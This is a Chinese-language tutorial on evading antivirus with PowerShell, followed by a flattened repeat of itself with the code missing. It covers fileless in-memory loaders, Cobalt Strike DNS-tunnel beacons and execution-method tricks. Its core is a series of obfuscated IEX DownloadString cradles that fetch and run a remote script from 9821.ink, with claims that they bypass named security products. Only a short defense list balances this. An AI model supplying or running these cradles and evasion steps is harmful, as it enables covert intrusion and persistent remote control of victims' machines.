Powershell免杀的探索
字数 1550 2025-08-25 22:59:02

PowerShell免杀技术深度解析

一、PowerShell免杀概述

1.1 PowerShell的优势特性

  • 灵活性高:内存中运行代码,无需写入磁盘(无文件攻击)
  • 多功能性:可直接调用.Net和Windows API
  • 普适性强:Windows 7+/Server 2008+默认安装
  • 易用性好:代码易于动态生成,可嵌入Office宏等载体
  • 隐秘性强:易于混淆、可绕过应用程序白名单、内存加载、缺乏默认日志记录

1.2 应用场景

  • 渗透测试中提升危害等级
  • 内网渗透横向移动及持久控制
  • 钓鱼攻击隐蔽执行

二、无文件攻击技术

2.1 基本原理

利用系统白名单工具PowerShell,通过远程加载恶意脚本到内存执行,避免文件落地。

2.2 实现流程

  1. 生成异或混淆后的bin文件
  2. 修改加载器,将bin文件嵌入其中
  3. 远程加载PS脚本 → 远程加载bin → 上线

2.3 优缺点分析

  • 优点:无文件落地,内存中难查杀
  • 缺点:有明显IP及端口连接信息

三、目标不出网解决方案:DNS隧道

3.1 DNS隧道原理

将数据封装在DNS协议中实现隐蔽传输,利用DNS报文的天然穿透防火墙能力。

3.2 配置步骤

  1. 创建A记录指向团队服务器IP
  2. 创建NS记录指向A记录
  3. 使用dig +trace 域名验证解析
  4. CS配置:
    • Payload选择beacon_dns_txt
    • Host使用A记录域名
    • 优先使用80、443、8080等穿透性强的端口
    • 添加所有NS域名(逗号分隔)

3.3 模式切换

初始为DNS模式(黑机器,回连间隔1分钟),可执行mode-http切换为HTTP传输。

四、Bypass杀软技巧

4.1 测试环境

  • 在线检测:VirusTotal(慎用,易被标记)
  • 本地测试:360杀毒/卫士最新版、火绒最新版
  • 已知可过:卡巴斯基、趋势、Windows Defender

4.2 注意事项

  • 避免将样本上传至VT,会导致VPS和CS被标记
  • 可使用微步/奇安信威胁情报中心查询VPS标记情况
  • 360对PowerShell调用敏感,需特殊绕过

五、PowerShell混淆技术

5.1 脚本混淆

5.1.1 Obfuscation工具使用

  1. 解决执行策略问题:
    Set-ExecutionPolicy Unrestricted
    Import-Module ./Invoke-Obfuscation.psd1
    Invoke-Obfuscation
    
  2. 混淆流程:
    set scriptpath C:\path\to\script.ps1
    encoding
    [选择功能模块]
    [选择混淆方式]
    out 1.ps1
    

5.1.2 xencrypt工具使用

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -infile .\but.ps1 -outfile buts.ps1 -iterations 5
  • 迭代次数越多文件越大,可能绕过基于检测时间限制的杀软

5.2 命令混淆

5.2.1 基础方法

原始payload:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')
  1. 字符串分割:

    Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx")
    
  2. 变量替换:

    $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://9821.ink/xxx')
    
  3. 转义符号:

    Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://9821.ink/xxx')
    
  4. 多重转义:

    Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://9821.ink/xxx')
    

5.2.2 高级组合

  1. 字符串替换:

    $c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://9821.ink/xxx'')'.Replace('123','adString');IEX ($c1+$c2)
    
  2. 数组拼接:

    $a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3="$a1,$a2";IEX(-join $a3)
    
  3. 别名使用:

    set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')
    
  4. 综合混淆:

    set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3=$a1,$a2;kaspersky(-join $a3)"
    

六、调用方式绕过

6.1 可执行文件改名

  • powershell.exe改为powershell.com执行(部分杀软已修复)

6.2 参数欺骗

使用CS的argue参数欺骗功能

6.3 其他调用方式

  1. 避免直接执行:

    execute执行powershell.exe
    

    (shell命令本质是cmd.exe /c arguments,可能失败)

  2. 替代执行方法:

    • 通过WMI调用
    • 通过计划任务调用
    • 通过注册表调用

七、实验环境建议

  • 使用内网虚拟机环境
  • 操作后重置虚拟机
  • 避免在公网直接测试免杀技术
  • 系统环境示例:
    • CS 3.14(注意3.14与3.13 payload不同)
    • 阿里云VPS
    • Win10系统
    • 最新版火绒/360

八、防御建议

  1. 启用PowerShell日志记录
  2. 限制PowerShell执行策略
  3. 监控异常DNS请求
  4. 更新杀软至最新版本
  5. 对系统工具进行行为监控

九、参考资料

  1. Chabug论坛技术分享
  2. S1ye师傅的loader+bin方案
  3. Klionsec师傅的DNS隧道技术
  4. 安全客及远控免杀从入门到实践系列
  5. 0x3师傅的argue参数欺骗技术
  6. 肖洋肖恩师傅的替代执行方法
PowerShell免杀技术深度解析 一、PowerShell免杀概述 1.1 PowerShell的优势特性 灵活性高 :内存中运行代码,无需写入磁盘(无文件攻击) 多功能性 :可直接调用.Net和Windows API 普适性强 :Windows 7+/Server 2008+默认安装 易用性好 :代码易于动态生成,可嵌入Office宏等载体 隐秘性强 :易于混淆、可绕过应用程序白名单、内存加载、缺乏默认日志记录 1.2 应用场景 渗透测试中提升危害等级 内网渗透横向移动及持久控制 钓鱼攻击隐蔽执行 二、无文件攻击技术 2.1 基本原理 利用系统白名单工具PowerShell,通过远程加载恶意脚本到内存执行,避免文件落地。 2.2 实现流程 生成异或混淆后的bin文件 修改加载器,将bin文件嵌入其中 远程加载PS脚本 → 远程加载bin → 上线 2.3 优缺点分析 优点 :无文件落地,内存中难查杀 缺点 :有明显IP及端口连接信息 三、目标不出网解决方案:DNS隧道 3.1 DNS隧道原理 将数据封装在DNS协议中实现隐蔽传输,利用DNS报文的天然穿透防火墙能力。 3.2 配置步骤 创建A记录指向团队服务器IP 创建NS记录指向A记录 使用 dig +trace 域名 验证解析 CS配置: Payload选择 beacon_dns_txt Host使用A记录域名 优先使用80、443、8080等穿透性强的端口 添加所有NS域名(逗号分隔) 3.3 模式切换 初始为DNS模式(黑机器,回连间隔1分钟),可执行 mode-http 切换为HTTP传输。 四、Bypass杀软技巧 4.1 测试环境 在线检测:VirusTotal(慎用,易被标记) 本地测试:360杀毒/卫士最新版、火绒最新版 已知可过:卡巴斯基、趋势、Windows Defender 4.2 注意事项 避免将样本上传至VT,会导致VPS和CS被标记 可使用微步/奇安信威胁情报中心查询VPS标记情况 360对PowerShell调用敏感,需特殊绕过 五、PowerShell混淆技术 5.1 脚本混淆 5.1.1 Obfuscation工具使用 解决执行策略问题: 混淆流程: 5.1.2 xencrypt工具使用 迭代次数越多文件越大,可能绕过基于检测时间限制的杀软 5.2 命令混淆 5.2.1 基础方法 原始payload: 字符串分割: 变量替换: 转义符号: 多重转义: 5.2.2 高级组合 字符串替换: 数组拼接: 别名使用: 综合混淆: 六、调用方式绕过 6.1 可执行文件改名 将 powershell.exe 改为 powershell.com 执行(部分杀软已修复) 6.2 参数欺骗 使用CS的 argue 参数欺骗功能 6.3 其他调用方式 避免直接执行: (shell命令本质是 cmd.exe /c arguments ,可能失败) 替代执行方法: 通过WMI调用 通过计划任务调用 通过注册表调用 七、实验环境建议 使用内网虚拟机环境 操作后重置虚拟机 避免在公网直接测试免杀技术 系统环境示例: CS 3.14(注意3.14与3.13 payload不同) 阿里云VPS Win10系统 最新版火绒/360 八、防御建议 启用PowerShell日志记录 限制PowerShell执行策略 监控异常DNS请求 更新杀软至最新版本 对系统工具进行行为监控 九、参考资料 Chabug论坛技术分享 S1ye师傅的loader+bin方案 Klionsec师傅的DNS隧道技术 安全客及远控免杀从入门到实践系列 0x3师傅的argue参数欺骗技术 肖洋肖恩师傅的替代执行方法